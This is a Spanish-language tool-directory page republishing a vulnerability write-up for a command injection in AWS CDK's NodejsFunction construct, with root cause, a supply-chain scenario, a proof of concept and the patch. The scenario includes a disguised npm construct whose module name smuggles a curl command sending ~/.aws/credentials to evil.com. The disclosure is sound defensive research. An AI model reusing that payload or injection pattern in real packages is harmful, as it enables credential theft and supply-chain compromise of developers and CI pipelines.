Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-11417-AWS-CDK-RCE — Informe técnico y Prueba de Concepto (PoC) para CVE-2026-11417: Inyección de Comandos del SO / Ejecución Remota de Código (RCE) en el NodejsFunction de AWS CDK. | Kitploit
Herramientas/GitHubGitHub/heshamash/cve-2026-11417-aws-cdk-rce
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónPruebas de PenetraciónSeguridad en la NubeSeguridad de Cadena de SuministroPapers e InvestigaciónAprendizaje y Educación
GitHub
heshamash/cve-2026-11417-aws-cdk-rce

CVE-2026-11417-AWS-CDK-RCE

Informe técnico y Prueba de Concepto (PoC) para CVE-2026-11417: Inyección de Comandos del SO / Ejecución Remota de Código (RCE) en el NodejsFunction de AWS CDK.

Ver Repositorio
36hace 5 mesesAún no revisado
Compartir

Inyección de Comandos en la Cadena de Suministro en NodejsFunction de AWS CDK (CVE-2026-11417)

Autor: Hesham Ashraf (@HeshamASH)

Fecha: 10 de junio de 2026

Gravedad: Alta (CVSSv3.1: 7.3, CVSSv4: 7.0)

CWE: CWE-78 — Neutralización Incorrecta de Elementos Especiales utilizados en un Comando del SO (Inyección de Comandos del SO)

Paquete afectado: aws-cdk-lib (npm), todas las versiones anteriores a 2.245.0

Vendedor: Amazon Web Services (AWS)

Estado: Parcheado (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Boletín: AWS-2026-041 | Aviso: GHSA-999r-qq7v-r334


TL;DR

Descubrí una vulnerabilidad de inyección de comandos en el AWS Cloud Development Kit (CDK) que permitía a un atacante lograr Ejecución Remota de Código (RCE) en cualquier máquina que ejecutara cdk synth — incluyendo estaciones de trabajo de desarrolladores y tuberías CI/CD — publicando un paquete npm malicioso o enviando una Solicitud de Extracción (Pull Request) manipulada.

La vulnerabilidad existía porque el constructo NodejsFunction de aws-cdk-lib interpolaba cadenas controladas por el usuario directamente en un comando del shell sin saneamiento, ejecutándolo luego mediante bash -c / cmd /c. AWS parcheó el problema reemplazando la ejecución basada en shell con arrays de argumentos directos de spawnSync.


Antecedentes

El AWS Cloud Development Kit (CDK) es un framework de código abierto ampliamente utilizado para definir infraestructura en la nube como código. Lo emplean decenas de miles de desarrolladores y tuberías CI/CD para sintetizar y desplegar stacks de AWS CloudFormation.

El constructo NodejsFunction es uno de los constructos L2 más populares del CDK. Agrupa funciones Lambda TypeScript/JavaScript usando esbuild durante la fase de síntesis (cdk synth).


La Vulnerabilidad

Causa Raíz

El constructo NodejsFunction construía una cadena de comando del shell al interpolar directamente varias propiedades controladas por el usuario sin ningún saneamiento:

// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // SIN ESCAPADO
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // SIN ESCAPADO
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key SIN ESCAPADO
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // SIN ESCAPADO
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // SIN ESCAPADO
];

El array se unía luego en una sola cadena y se pasaba a un shell:

// El comando unido se pasa directamente al shell del SO
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

Los metacaracteres del shell como &, ;, |, `, y $(...) dentro de cualquiera de las propiedades inyectables serían interpretados por el shell como separadores de comandos, permitiendo la ejecución arbitraria de comandos.

Propiedades Afectadas

PropiedadSaneamientoNivel de Riesgo
externalModulesNingunoCrítico
define (claves)Ninguno (los valores usan JSON.stringify)Crítico
loader (claves)NingunoCrítico
injectNingunoCrítico
esbuildArgs (claves/valores)NingunoCrítico

Escenario de Ataque en la Cadena de Suministro

Esta vulnerabilidad es particularmente peligrosa porque la inyección ocurre en la capa de síntesis del CDK, no durante npm install. Esto significa que las medidas de seguridad estándar de npm como --ignore-scripts no brindan protección.

Vector de Ataque: Constructo CDK Malicioso

Un atacante publica un paquete npm de apariencia legítima que envuelve a NodejsFunction:

// Publicado como "convenient-lambda" en npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // Carga útil oculta entre externos de apariencia legítima
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

Cuando un desarrollador instala este paquete y ejecuta cdk synth, el CDK construye:

npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

El carácter & divide esto en dos comandos de shell independientes:

  1. npx esbuild --bundle handler.ts --external:lodash — esbuild se ejecuta normalmente
  2. curl https://evil.com/... — la carga útil del atacante extrae las credenciales de AWS

Por Qué Esto Bypassa las Defensas Estándar

Defensa¿Efectiva?Por Qué
npm install --ignore-scriptsNoLa inyección ocurre durante cdk synth, no en la instalación del paquete
Revisión de código de package.jsonNoLa carga útil está en el código TypeScript del constructo, no en scripts
npm auditNoEl paquete no contiene vulnerabilidades conocidas
Integridad del lockfileNoEl paquete en sí se instala correctamente

Prueba de Concepto

Paso 1: Crear un proyecto CDK

mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

Paso 2: Crear app.ts con la carga útil de inyección

import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

Paso 3: Ejecutar

npx ts-node app.ts

Paso 4: Verificar RCE

cat pwned.txt
# Salida: PWNED

El archivo pwned.txt se crea, confirmando la ejecución arbitraria de comandos en la máquina anfitriona.


La Corrección

PR #37292: spawnSync basado en arrays

La corrección principal reemplaza la construcción de cadenas de comandos del shell con spawnSync directo usando arrays de argumentos:

- // Antes: cadena de comando interpretada por el shell
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // Después: array de argumentos directo (sin interpretación del shell)
+ spawnSync(command, args, { /* no shell */ });
Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    500
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    466
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    339
  • 4

    opencti

    opencti-platform/opencti

    Plataforma abierta de inteligencia de amenazas cibernéticas

    317
  • 5

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    307
  • 6

    estorides

    grisuno/estorides

    Agrega más de 99 fuentes OSINT gratuitas en paralelo, resuelve entidades en un grafo de conocimiento y exporta STIX 2.1, MISP o GraphML con análisis asistido por LLM.

    294

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →